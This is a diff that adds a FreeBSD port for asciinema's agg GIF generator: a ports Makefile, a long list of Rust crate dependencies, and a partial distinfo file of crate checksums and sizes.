--- /dev/null +++ b/graphics/asciinema-agg/Makefile @@ -0,0 +1,20 @@ +PORTNAME= agg +DISTVERSIONPREFIX= v +DISTVERSION= 1.4.1 +CATEGORIES= graphics +PKGNAMEPREFIX= asciinema- + +MAINTAINER= DtxdF@disroot.org +COMMENT= Asciinema gif generator +WWW= https://github.com/asciinema/agg/ + +LICENSE= APACHE20 +LICENSE_FILE= ${WRKSRC}/LICENSE + +USES= cargo +USE_GITHUB= yes +GH_ACCOUNT= asciinema + +PLIST_FILES= bin/agg + +.include diff --git a/graphics/asciinema-agg/Makefile.crates b/graphics/asciinema-agg/Makefile.crates new file mode 100644 index 00000000000..d5c343a45c0 --- /dev/null +++ b/graphics/asciinema-agg/Makefile.crates @@ -0,0 +1,221 @@ +CARGO_CRATES= adler-1.0.2 \ + ahash-0.7.6 \ + ahash-0.8.3 \ + aho-corasick-0.7.20 \ + anstream-0.2.6 \ + anstyle-0.3.5 \ + anstyle-parse-0.1.1 \ + anstyle-wincon-0.2.0 \ + anyhow-1.0.70 \ + arrayref-0.3.7 \ + arrayvec-0.7.2 \ + async-compression-0.3.15 \ + atty-0.2.14 \ + autocfg-1.1.0 \ + base64-0.13.1 \ + base64-0.21.0 \ + bitflags-1.3.2 \ + bumpalo-3.12.0 \ + bytemuck-1.13.1 \ + bytes-1.4.0 \ + cc-1.0.79 \ + cfg-if-1.0.0 \ + clap-3.2.23 \ + clap-4.2.1 \ + clap_builder-4.2.1 \ + clap_derive-3.2.18 \ + clap_lex-0.2.4 \ + clap_lex-0.4.1 \ + color_quant-1.1.0 \ + concolor-override-1.0.0 \ + concolor-query-0.3.3 \ + crc32fast-1.3.2 \ + crossbeam-channel-0.5.7 \ + crossbeam-deque-0.8.3 \ + crossbeam-epoch-0.9.14 \ + crossbeam-utils-0.8.15 \ + data-url-0.2.0 \ + dirs-5.0.0 \ + dirs-sys-0.4.0 \ + dunce-1.0.3 \ + either-1.8.1 \ + encoding_rs-0.8.32 \ + env_logger-0.10.0 \ + errno-0.3.0 \ + errno-dragonfly-0.1.2 \ + fallible_collections-0.4.7 \ + flate2-1.0.25 \ + float-cmp-0.9.0 \ + fnv-1.0.7 \ + fontconfig-parser-0.5.2 \ + fontdb-0.10.0 \ + fontdue-0.7.2 \ + form_urlencoded-1.1.0 \ + futures-channel-0.3.27 \ + futures-core-0.3.27 \ + futures-io-0.3.27 \ + futures-sink-0.3.27 \ + futures-task-0.3.27 \ + futures-util-0.3.27 \ + getrandom-0.2.8 \ + gif-0.11.4 \ + gif-0.12.0 \ + gif-dispose-4.0.0 \ + gifsicle-1.93.0 \ + gifski-1.10.3 \ + glob-0.3.1 \ + h2-0.3.16 \ + hashbrown-0.11.2 \ + hashbrown-0.12.3 \ + hashbrown-0.13.2 \ + heck-0.4.1 \ + hermit-abi-0.1.19 \ + hermit-abi-0.2.6 \ + hermit-abi-0.3.1 \ + http-0.2.9 \ + http-body-0.4.5 \ + httparse-1.8.0 \ + httpdate-1.0.2 \ + humantime-2.1.0 \ + hyper-0.14.25 \ + hyper-rustls-0.23.2 \ + idna-0.3.0 \ + imagequant-4.1.1 \ + imagesize-0.10.1 \ + imgref-1.9.4 \ + indexmap-1.9.3 \ + io-lifetimes-1.0.9 \ + ipnet-2.7.2 \ + is-terminal-0.4.6 \ + itoa-1.0.6 \ + jpeg-decoder-0.3.0 \ + js-sys-0.3.61 \ + kurbo-0.8.3 \ + libc-0.2.140 \ + linux-raw-sys-0.3.0 \ + lodepng-3.7.2 \ + log-0.4.17 \ + loop9-0.1.3 \ + memchr-2.5.0 \ + memmap2-0.5.10 \ + memoffset-0.8.0 \ + mime-0.3.17 \ + miniz_oxide-0.5.4 \ + miniz_oxide-0.6.2 \ + mio-0.8.6 \ + natord-1.0.9 \ + noisy_float-0.2.0 \ + num-traits-0.2.15 \ + num_cpus-1.15.0 \ + once_cell-1.17.1 \ + os_str_bytes-6.5.0 \ + pbr-1.1.1 \ + percent-encoding-2.2.0 \ + pico-args-0.5.0 \ + pin-project-lite-0.2.9 \ + pin-utils-0.1.0 \ + png-0.17.6 \ + proc-macro-error-1.0.4 \ + proc-macro-error-attr-1.0.4 \ + proc-macro2-1.0.54 \ + quick-error-2.0.1 \ + quote-1.0.26 \ + rayon-1.7.0 \ + rayon-core-1.11.0 \ + rctree-0.5.0 \ + redox_syscall-0.2.16 \ + redox_users-0.4.3 \ + regex-1.7.3 \ + regex-syntax-0.6.29 \ + reqwest-0.11.16 \ + resize-0.7.4 \ + resvg-0.28.0 \ + rgb-0.8.36 \ + ring-0.16.20 \ + roxmltree-0.15.1 \ + roxmltree-0.18.0 \ + rustix-0.37.5 \ + rustls-0.20.8 \ + rustls-pemfile-1.0.2 \ + rustybuzz-0.6.0 \ + ryu-1.0.13 \ + scopeguard-1.1.0 \ + sct-0.7.0 \ + serde-1.0.159 \ + serde_derive-1.0.159 \ + serde_json-1.0.95 \ + serde_urlencoded-0.7.1 \ + shellexpand-3.1.0 \ + simplecss-0.2.1 \ + siphasher-0.3.10 \ + slab-0.4.8 \ + smallvec-1.10.0 \ + socket2-0.4.9 \ + spin-0.5.2 \ + strict-num-0.1.0 \ + strsim-0.10.0 \ + svgfilters-0.4.0 \ + svgtypes-0.8.2 \ + syn-1.0.109 \ + syn-2.0.11 \ + termcolor-1.2.0 \ + textwrap-0.16.0 \ + thiserror-1.0.40 \ + thiserror-impl-1.0.40 \ + thread_local-1.1.7 \ + tiny-skia-0.8.3 \ + tiny-skia-path-0.8.3 \ + tinyvec-1.6.0 \ + tinyvec_macros-0.1.1 \ + tokio-1.27.0 \ + tokio-rustls-0.23.4 \ + tokio-util-0.7.7 \ + tower-service-0.3.2 \ + tracing-0.1.37 \ + tracing-core-0.1.30 \ + try-lock-0.2.4 \ + ttf-parser-0.15.2 \ + ttf-parser-0.17.1 \ + unicode-bidi-0.3.13 \ + unicode-bidi-mirroring-0.1.0 \ + unicode-ccc-0.1.2 \ + unicode-general-category-0.6.0 \ + unicode-ident-1.0.8 \ + unicode-normalization-0.1.22 \ + unicode-script-0.5.5 \ + unicode-vo-0.1.0 \ + untrusted-0.7.1 \ + url-2.3.1 \ + usvg-0.28.0 \ + usvg-text-layout-0.28.0 \ + utf8parse-0.2.1 \ + version_check-0.9.4 \ + want-0.3.0 \ + wasi-0.11.0+wasi-snapshot-preview1 \ + wasm-bindgen-0.2.84 \ + wasm-bindgen-backend-0.2.84 \ + wasm-bindgen-futures-0.4.34 \ + wasm-bindgen-macro-0.2.84 \ + wasm-bindgen-macro-support-0.2.84 \ + wasm-bindgen-shared-0.2.84 \ + web-sys-0.3.61 \ + webpki-0.22.0 \ + webpki-roots-0.22.6 \ + weezl-0.1.7 \ + wild-2.1.0 \ + winapi-0.3.9 \ + winapi-i686-pc-windows-gnu-0.4.0 \ + winapi-util-0.1.5 \ + winapi-x86_64-pc-windows-gnu-0.4.0 \ + windows-sys-0.45.0 \ + windows-targets-0.42.2 \ + windows_aarch64_gnullvm-0.42.2 \ + windows_aarch64_msvc-0.42.2 \ + windows_i686_gnu-0.42.2 \ + windows_i686_msvc-0.42.2 \ + windows_x86_64_gnu-0.42.2 \ + windows_x86_64_gnullvm-0.42.2 \ + windows_x86_64_msvc-0.42.2 \ + winreg-0.10.1 \ + xmlparser-0.13.5 \ + avt@git+https://github.com/asciinema/avt.git?tag=v0.6.0\#168627cf65999720a6fce122e3419da0147d9296 diff --git a/graphics/asciinema-agg/distinfo b/graphics/asciinema-agg/distinfo new file mode 100644 index 00000000000..e61cfad705d --- /dev/null +++ b/graphics/asciinema-agg/distinfo @@ -0,0 +1,445 @@ +TIMESTAMP = 1682702803 +SHA256 (rust/crates/adler-1.0.2.crate) = f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe +SIZE (rust/crates/adler-1.0.2.crate) = 12778 +SHA256 (rust/crates/ahash-0.7.6.crate) = fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47 +SIZE (rust/crates/ahash-0.7.6.crate) = 38030 +SHA256 (rust/crates/ahash-0.8.3.crate) = 2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f +SIZE (rust/crates/ahash-0.8.3.crate) = 42416 +SHA256 (rust/crates/aho-corasick-0.7.20.crate) = cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac +SIZE (rust/crates/aho-corasick-0.7.20.crate) = 111440 +SHA256 (rust/crates/anstream-0.2.6.crate) = 342258dd14006105c2b75ab1bd7543a03bdf0cfc94383303ac212a04939dff6f +SIZE (rust/crates/anstream-0.2.6.crate) = 19429 +SHA256 (rust/crates/anstyle-0.3.5.crate) = 23ea9e81bd02e310c216d080f6223c179012256e5151c41db88d12c88a1684d2 +SIZE (rust/crates/anstyle-0.3.5.crate) = 14272 +SHA256 (rust/crates/anstyle-parse-0.1.1.crate) = a7d1bb534e9efed14f3e5f44e7dd1a4f709384023a4165199a4241e18dff0116 +SIZE (rust/crates/anstyle-parse-0.1.1.crate) = 24186 +SHA256 (rust/crates/anstyle-wincon-0.2.0.crate) = c3127af6145b149f3287bb9a0d10ad9c5692dba8c53ad48285e5bec4063834fa +SIZE (rust/crates/anstyle-wincon-0.2.0.crate) = 11667 +SHA256 (rust/crates/anyhow-1.0.70.crate) = 7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4 +SIZE (rust/crates/anyhow-1.0.70.crate) = 43803 +SHA256 (rust/crates/arrayref-0.3.7.crate) = 6b4930d2cb77ce62f89ee5d5289b4ac049559b1c45539271f5ed4fdc7db34545 +SIZE (rust/crates/arrayref-0.3.7.crate) = 9620 +SHA256 (rust/crates/arrayvec-0.7.2.crate) = 8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6 +SIZE (rust/crates/arrayvec-0.7.2.crate) = 29341 +SHA256 (rust/crates/async-compression-0.3.15.crate) = 942c7cd7ae39e91bde4820d74132e9862e62c2f386c3aa90ccf55949f5bad63a +SIZE (rust/crates/async-compression-0.3.15.crate) = 58241 +SHA256 (rust/crates/atty-0.2.14.crate) = d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8 +SIZE (rust/crates/atty-0.2.14.crate) = 5470 +SHA256 (rust/crates/autocfg-1.1.0.crate) = d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa +SIZE (rust/crates/autocfg-1.1.0.crate) = 13272 +SHA256 (rust/crates/base64-0.13.1.crate) = 9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8 +SIZE (rust/crates/base64-0.13.1.crate) = 61002 +SHA256 (rust/crates/base64-0.21.0.crate) = a4a4ddaa51a5bc52a6948f74c06d20aaaddb71924eab79b8c97a8c556e942d6a +SIZE (rust/crates/base64-0.21.0.crate) = 72180 +SHA256 (rust/crates/bitflags-1.3.2.crate) = bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a +SIZE (rust/crates/bitflags-1.3.2.crate) = 23021 +SHA256 (rust/crates/bumpalo-3.12.0.crate) = 0d261e256854913907f67ed06efbc3338dfe6179796deefc1ff763fc1aee5535 +SIZE (rust/crates/bumpalo-3.12.0.crate) = 81604 +SHA256 (rust/crates/bytemuck-1.13.1.crate) = 17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea +SIZE (rust/crates/bytemuck-1.13.1.crate) = 42309 +SHA256 (rust/crates/bytes-1.4.0.crate) = 89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be +SIZE (rust/crates/bytes-1.4.0.crate) = 58080 +SHA256 (rust/crates/cc-1.0.79.crate) = 50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f +SIZE (rust/crates/cc-1.0.79.crate) = 62624 +SHA256 (rust/crates/cfg-if-1.0.0.crate) = baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd +SIZE (rust/crates/cfg-if-1.0.0.crate) = 7934 +SHA256 (rust/crates/clap-3.2.23.crate) = 71655c45cb9845d3270c9d6df84ebe72b4dad3c2ba3f7023ad47c144e4e473a5 +SIZE (rust/crates/clap-3.2.23.crate) = 219435 +SHA256 (rust/crates/clap-4.2.1.crate) = 046ae530c528f252094e4a77886ee1374437744b2bff1497aa898bbddbbb29b3 +SIZE (rust/crates/clap-4.2.1.crate) = 53500 +SHA256 (rust/crates/clap_builder-4.2.1.crate) = 223163f58c9a40c3b0a43e1c4b50a9ce09f007ea2cb1ec258a687945b4b7929f +SIZE (rust/crates/clap_builder-4.2.1.crate) = 158784 +SHA256 (rust/crates/clap_derive-3.2.18.crate) = ea0c8bce528c4be4da13ea6fead8965e95b6073585a2f05204bd8f4119f82a65 +SIZE (rust/crates/clap_derive-3.2.18.crate) = 28208 +SHA256 (rust/crates/clap_lex-0.2.4.crate) = 2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5 +SIZE (rust/crates/clap_lex-0.2.4.crate) = 9652 +SHA256 (rust/crates/clap_lex-0.4.1.crate) = 8a2dd5a6fe8c6e3502f568a6353e5273bbb15193ad9a89e457b9970798efbea1 +SIZE (rust/crates/clap_lex-0.4.1.crate) = 12122 +SHA256 (rust/crates/color_quant-1.1.0.crate) = 3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b +SIZE (rust/crates/color_quant-1.1.0.crate) = 6649 +SHA256 (rust/crates/concolor-override-1.0.0.crate) = a855d4a1978dc52fb0536a04d384c2c0c1aa273597f08b77c8c4d3b2eec6037f +SIZE (rust/crates/concolor-override-1.0.0.crate) = 6570 +SHA256 (rust/crates/concolor-query-0.3.3.crate) = 88d11d52c3d7ca2e6d0040212be9e4dbbcd78b6447f535b6b561f449427944cf +SIZE (rust/crates/concolor-query-0.3.3.crate) = 8337 +SHA256 (rust/crates/crc32fast-1.3.2.crate) = b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d +SIZE (rust/crates/crc32fast-1.3.2.crate) = 38661 +SHA256 (rust/crates/crossbeam-channel-0.5.7.crate) = cf2b3e8478797446514c91ef04bafcb59faba183e621ad488df88983cc14128c +SIZE (rust/crates/crossbeam-channel-0.5.7.crate) = 90257 +SHA256 (rust/crates/crossbeam-deque-0.8.3.crate) = ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef +SIZE (rust/crates/crossbeam-deque-0.8.3.crate) = 21746 +SHA256 (rust/crates/crossbeam-epoch-0.9.14.crate) = 46bd5f3f85273295a9d14aedfb86f6aadbff6d8f5295c4a9edb08e819dcf5695 +SIZE (rust/crates/crossbeam-epoch-0.9.14.crate) = 48524 +SHA256 (rust/crates/crossbeam-utils-0.8.15.crate) = 3c063cd8cc95f5c377ed0d4b49a4b21f632396ff690e8470c29b3359b346984b +SIZE (rust/crates/crossbeam-utils-0.8.15.crate) = 42326 +SHA256 (rust/crates/data-url-0.2.0.crate) = 8d7439c3735f405729d52c3fbbe4de140eaf938a1fe47d227c27f8254d4302a5 +SIZE (rust/crates/data-url-0.2.0.crate) = 20553 +SHA256 (rust/crates/dirs-5.0.0.crate) = dece029acd3353e3a58ac2e3eb3c8d6c35827a892edc6cc4138ef9c33df46ecd +SIZE (rust/crates/dirs-5.0.0.crate) = 12235 +SHA256 (rust/crates/dirs-sys-0.4.0.crate) = 04414300db88f70d74c5ff54e50f9e1d1737d9a5b90f53fcf2e95ca2a9ab554b +SIZE (rust/crates/dirs-sys-0.4.0.crate) = 10509 +SHA256 (rust/crates/dunce-1.0.3.crate) = 0bd4b30a6560bbd9b4620f4de34c3f14f60848e58a9b7216801afcb4c7b31c3c +SIZE (rust/crates/dunce-1.0.3.crate) = 8035 +SHA256 (rust/crates/either-1.8.1.crate) = 7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91 +SIZE (rust/crates/either-1.8.1.crate) = 16027 +SHA256 (rust/crates/encoding_rs-0.8.32.crate) = 071a31f4ee85403370b58aca746f01041ede6f0da2730960ad001edc2b71b394 +SIZE (rust/crates/encoding_rs-0.8.32.crate) = 1370046 +SHA256 (rust/crates/env_logger-0.10.0.crate) = 85cdab6a89accf66733ad5a1693a4dcced6aeff64602b634530dd73c1f3ee9f0 +SIZE (rust/crates/env_logger-0.10.0.crate) = 36574 +SHA256 (rust/crates/errno-0.3.0.crate) = 50d6a0976c999d473fe89ad888d5a284e55366d9dc9038b1ba2aa15128c4afa0 +SIZE (rust/crates/errno-0.3.0.crate) = 10268 +SHA256 (rust/crates/errno-dragonfly-0.1.2.crate) = aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf +SIZE (rust/crates/errno-dragonfly-0.1.2.crate) = 1810 +SHA256 (rust/crates/fallible_collections-0.4.7.crate) = 9acf77205554f3cfeca94a4b910e159ad9824e8c2d164de02b3f12495cc1074d +SIZE (rust/crates/fallible_collections-0.4.7.crate) = 49549 +SHA256 (rust/crates/flate2-1.0.25.crate) = a8a2db397cb1c8772f31494cb8917e48cd1e64f0fa7efac59fbd741a0a8ce841 +SIZE (rust/crates/flate2-1.0.25.crate) = 70210 +SHA256 (rust/crates/float-cmp-0.9.0.crate) = 98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4 +SIZE (rust/crates/float-cmp-0.9.0.crate) = 10102 +SHA256 (rust/crates/fnv-1.0.7.crate) = 3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1 +SIZE (rust/crates/fnv-1.0.7.crate) = 11266 +SHA256 (rust/crates/fontconfig-parser-0.5.2.crate) = 4ab2e12762761366dcb876ab8b6e0cfa4797ddcd890575919f008b5ba655672a +SIZE (rust/crates/fontconfig-parser-0.5.2.crate) = 36759 +SHA256 (rust/crates/fontdb-0.10.0.crate) = 8131752b3f3b876a20f42b3d08233ad177d6e7ec6d18aaa6954489a201071be5 +SIZE (rust/crates/fontdb-0.10.0.crate) = 15485 +SHA256 (rust/crates/fontdue-0.7.2.crate) = 6a62391ecb864cf12ed06b2af4eda2e609b97657950d6a8f06841b17726ab253 +SIZE (rust/crates/fontdue-0.7.2.crate) = 143663 +SHA256 (rust/crates/form_urlencoded-1.1.0.crate) = a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8 +SIZE (rust/crates/form_urlencoded-1.1.0.crate) = 8734 +SHA256 (rust/crates/futures-channel-0.3.27.crate) = 164713a5a0dcc3e7b4b1ed7d3b433cabc18025386f9339346e8daf15963cf7ac +SIZE (rust/crates/futures-channel-0.3.27.crate) = 32278 +SHA256 (rust/crates/futures-core-0.3.27.crate) = 86d7a0c1aa76363dac491de0ee99faf6941128376f1cf96f07db7603b7de69dd +SIZE (rust/crates/futures-core-0.3.27.crate) = 14709 +SHA256 (rust/crates/futures-io-0.3.27.crate) = 89d422fa3cbe3b40dca574ab087abb5bc98258ea57eea3fd6f1fa7162c778b91 +SIZE (rust/crates/futures-io-0.3.27.crate) = 8912 +SHA256 (rust/crates/futures-sink-0.3.27.crate) = ec93083a4aecafb2a80a885c9de1f0ccae9dbd32c2bb54b0c3a65690e0b8d2f2 +SIZE (rust/crates/futures-sink-0.3.27.crate) = 7853 +SHA256 (rust/crates/futures-task-0.3.27.crate) = fd65540d33b37b16542a0438c12e6aeead10d4ac5d05bd3f805b8f35ab592879 +SIZE (rust/crates/futures-task-0.3.27.crate) = 11854 +SHA256 (rust/crates/futures-util-0.3.27.crate) = 3ef6b17e481503ec85211fed8f39d1970f128935ca1f814cd32ac4a6842e84ab +SIZE (rust/crates/futures-util-0.3.27.crate) = 158556 +SHA256 (rust/crates/getrandom-0.2.8.crate) = c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31 +SIZE (rust/crates/getrandom-0.2.8.crate) = 30553 +SHA256 (rust/crates/gif-0.11.4.crate) = 3edd93c6756b4dfaf2709eafcc345ba2636565295c198a9cfbf75fa5e3e00b06 +SIZE (rust/crates/gif-0.11.4.crate) = 634244 +SHA256 (rust/crates/gif-0.12.0.crate) = 80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045 +SIZE (rust/crates/gif-0.12.0.crate) = 634734 +SHA256 (rust/crates/gif-dispose-4.0.0.crate) = a40dfdf5be59e0cbbf77cb7c6a91a18ee6d398b70fc54ad900e2bcba1860cb50 +SIZE (rust/crates/gif-dispose-4.0.0.crate) = 6373 +SHA256 (rust/crates/gifsicle-1.93.0.crate) = 0d2c35b9670c2a3313343ce54d00669ca18a8236fe727f52e0cf8c5a77acac07 +SIZE (rust/crates/gifsicle-1.93.0.crate) = 149064 +SHA256 (rust/crates/gifski-1.10.3.crate) = fd5981f4673c4da9f816e141d0baef1ca4f9008fc31573b2d19984c390c46442 +SIZE (rust/crates/gifski-1.10.3.crate) = 40532 +SHA256 (rust/crates/glob-0.3.1.crate) = d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b +SIZE (rust/crates/glob-0.3.1.crate) = 18880 +SHA256 (rust/crates/h2-0.3.16.crate) = 5be7b54589b581f624f566bf5d8eb2bab1db736c51528720b6bd36b96b55924d +SIZE (rust/crates/h2-0.3.16.crate) = 162883 +SHA256 (rust/crates/hashbrown-0.11.2.crate) = ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e +SIZE (rust/crates/hashbrown-0.11.2.crate) = 85713 +SHA256 (rust/crates/hashbrown-0.12.3.crate) = 8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888 +SIZE (rust/crates/hashbrown-0.12.3.crate) = 102968 +SHA256 (rust/crates/hashbrown-0.13.2.crate) = 43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e +SIZE (rust/crates/hashbrown-0.13.2.crate) = 105265 +SHA256 (rust/crates/heck-0.4.1.crate) = 95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8 +SIZE (rust/crates/heck-0.4.1.crate) = 11567 +SHA256 (rust/crates/hermit-abi-0.1.19.crate) = 62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33 +SIZE (rust/crates/hermit-abi-0.1.19.crate) = 9979 +SHA256 (rust/crates/hermit-abi-0.2.6.crate) = ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7 +SIZE (rust/crates/hermit-abi-0.2.6.crate) = 13027 +SHA256 (rust/crates/hermit-abi-0.3.1.crate) = fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286 +SIZE (rust/crates/hermit-abi-0.3.1.crate) = 13793 +SHA256 (rust/crates/http-0.2.9.crate) = bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482 +SIZE (rust/crates/http-0.2.9.crate) = 100146 +SHA256 (rust/crates/http-body-0.4.5.crate) = d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1 +SIZE (rust/crates/http-body-0.4.5.crate) = 9242 +SHA256 (rust/crates/httparse-1.8.0.crate) = d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904 +SIZE (rust/crates/httparse-1.8.0.crate) = 29954 +SHA256 (rust/crates/httpdate-1.0.2.crate) = c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421 +SIZE (rust/crates/httpdate-1.0.2.crate) = 10673 +SHA256 (rust/crates/humantime-2.1.0.crate) = 9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4 +SIZE (rust/crates/humantime-2.1.0.crate) = 16749 +SHA256 (rust/crates/hyper-0.14.25.crate) = cc5e554ff619822309ffd57d8734d77cd5ce6238bc956f037ea06c58238c9899 +SIZE (rust/crates/hyper-0.14.25.crate) = 195127 +SHA256 (rust/crates/hyper-rustls-0.23.2.crate) = 1788965e61b367cd03a62950836d5cd41560c3577d90e40e0819373194d1661c +SIZE (rust/crates/hyper-rustls-0.23.2.crate) = 30993 +SHA256 (rust/crates/idna-0.3.0.crate) = e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6 +SIZE (rust/crates/idna-0.3.0.crate) = 271128 +SHA256 (rust/crates/imagequant-4.1.1.crate) = f332f82fc531b53cffa3181c14f7beb5b6c33932d68bb0c2fa4fd583553fca64 +SIZE (rust/crates/imagequant-4.1.1.crate) = 55912 +SHA256 (rust/crates/imagesize-0.10.1.crate) = df19da1e92fbfec043ca97d622955381b1f3ee72a180ec999912df31b1ccd951 +SIZE (rust/crates/imagesize-0.10.1.crate) = 11439 +SHA256 (rust/crates/imgref-1.9.4.crate) = b2cf49df1085dcfb171460e4592597b84abe50d900fb83efb6e41b20fefd6c2c +SIZE (rust/crates/imgref-1.9.4.crate) = 61486 +SHA256 (rust/crates/indexmap-1.9.3.crate) = bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99 +SIZE (rust/crates/indexmap-1.9.3.crate) = 54653 +SHA256 (rust/crates/io-lifetimes-1.0.9.crate) = 09270fd4fa1111bc614ed2246c7ef56239a3063d5be0d1ec3b589c505d400aeb +SIZE (rust/crates/io-lifetimes-1.0.9.crate) = 36442 +SHA256 (rust/crates/ipnet-2.7.2.crate) = 12b6ee2129af8d4fb011108c73d99a1b83a85977f23b82460c0ae2e25bb4b57f +SIZE (rust/crates/ipnet-2.7.2.crate) = 27044 +SHA256 (rust/crates/is-terminal-0.4.6.crate) = 256017f749ab3117e93acb91063009e1f1bb56d03965b14c2c8df4eb02c524d8 +SIZE (rust/crates/is-terminal-0.4.6.crate) = 7856 +SHA256 (rust/crates/itoa-1.0.6.crate) = 453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6 +SIZE (rust/crates/itoa-1.0.6.crate) = 10410 +SHA256 (rust/crates/jpeg-decoder-0.3.0.crate) = bc0000e42512c92e31c2252315bda326620a4e034105e900c98ec492fa077b3e +SIZE (rust/crates/jpeg-decoder-0.3.0.crate) = 742671 +SHA256 (rust/crates/js-sys-0.3.61.crate) = 445dde2150c55e483f3d8416706b97ec8e8237c307e5b7b4b8dd15e6af2a0730 +SIZE (rust/crates/js-sys-0.3.61.crate) = 80158 +SHA256 (rust/crates/kurbo-0.8.3.crate) = 7a53776d271cfb873b17c618af0298445c88afc52837f3e948fa3fafd131f449 +SIZE (rust/crates/kurbo-0.8.3.crate) = 81131 +SHA256 (rust/crates/libc-0.2.140.crate) = 99227334921fae1a979cf0bfdfcc6b3e5ce376ef57e16fb6fb3ea2ed6095f80c +SIZE (rust/crates/libc-0.2.140.crate) = 669153 +SHA256 (rust/crates/linux-raw-sys-0.3.0.crate) = cd550e73688e6d578f0ac2119e32b797a327631a42f9433e59d02e139c8df60d +SIZE (rust/crates/linux-raw-sys-0.3.0.crate) = 914053 +SHA256 (rust/crates/lodepng-3.7.2.crate) = f0ad39f75bbaa4b10bb6f2316543632a8046a5bcf9c785488d79720b21f044f8 +SIZE (rust/crates/lodepng-3.7.2.crate) = 48504 +SHA256 (rust/crates/log-0.4.17.crate) = abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e +SIZE (rust/crates/log-0.4.17.crate) = 38028 +SHA256 (rust/crates/loop9-0.1.3.crate) = a703804431e5927454bcaf2b2a162595e95db931130c2728c18d050090f69940 +SIZE (rust/crates/loop9-0.1.3.crate) = 2377 +SHA256 (rust/crates/memchr-2.5.0.crate) = 2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d +SIZE (rust/crates/memchr-2.5.0.crate) = 65812 +SHA256 (rust/crates/memmap2-0.5.10.crate) = 83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327 +SIZE (rust/crates/memmap2-0.5.10.crate) = 26847 +SHA256 (rust/crates/memoffset-0.8.0.crate) = d61c719bcfbcf5d62b3a09efa6088de8c54bc0bfcd3ea7ae39fcc186108b8de1 +SIZE (rust/crates/memoffset-0.8.0.crate) = 8912 +SHA256 (rust/crates/mime-0.3.17.crate) = 6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a +SIZE (rust/crates/mime-0.3.17.crate) = 15712 +SHA256 (rust/crates/miniz_oxide-0.5.4.crate) = 96590ba8f175222643a85693f33d26e9c8a015f599c216509b1a6894af675d34 +SIZE (rust/crates/miniz_oxide-0.5.4.crate) = 53485 +SHA256 (rust/crates/miniz_oxide-0.6.2.crate) = b275950c28b37e794e8c55d88aeb5e139d0ce23fdbbeda68f8d7174abdf9e8fa +SIZE (rust/crates/miniz_oxide-0.6.2.crate) = 54536 +SHA256 (rust/crates/mio-0.8.6.crate) = 5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9 +SIZE (rust/crates/mio-0.8.6.crate) = 93658 +SHA256 (rust/crates/natord-1.0.9.crate) = 308d96db8debc727c3fd9744aac51751243420e46edf401010908da7f8d5e57c +SIZE (rust/crates/natord-1.0.9.crate) = 3866 +SHA256 (rust/crates/noisy_float-0.2.0.crate) = 978fe6e6ebc0bf53de533cd456ca2d9de13de13856eda1518a285d7705a213af +SIZE (rust/crates/noisy_float-0.2.0.crate) = 15564 +SHA256 (rust/crates/num-traits-0.2.15.crate) = 578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd +SIZE (rust/crates/num-traits-0.2.15.crate) = 49262 +SHA256 (rust/crates/num_cpus-1.15.0.crate) = 0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b 